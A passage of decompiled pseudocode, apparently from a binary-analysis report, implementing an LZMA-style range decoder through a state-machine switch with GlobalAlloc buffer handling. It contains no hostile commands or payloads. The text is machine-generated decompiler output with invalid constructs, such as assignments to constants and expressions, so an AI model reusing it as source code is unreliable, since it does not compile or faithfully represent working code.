							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__ebx = __edx + 1;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											__ebx = __edx + 1;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00406BE7))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4)); // executed
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
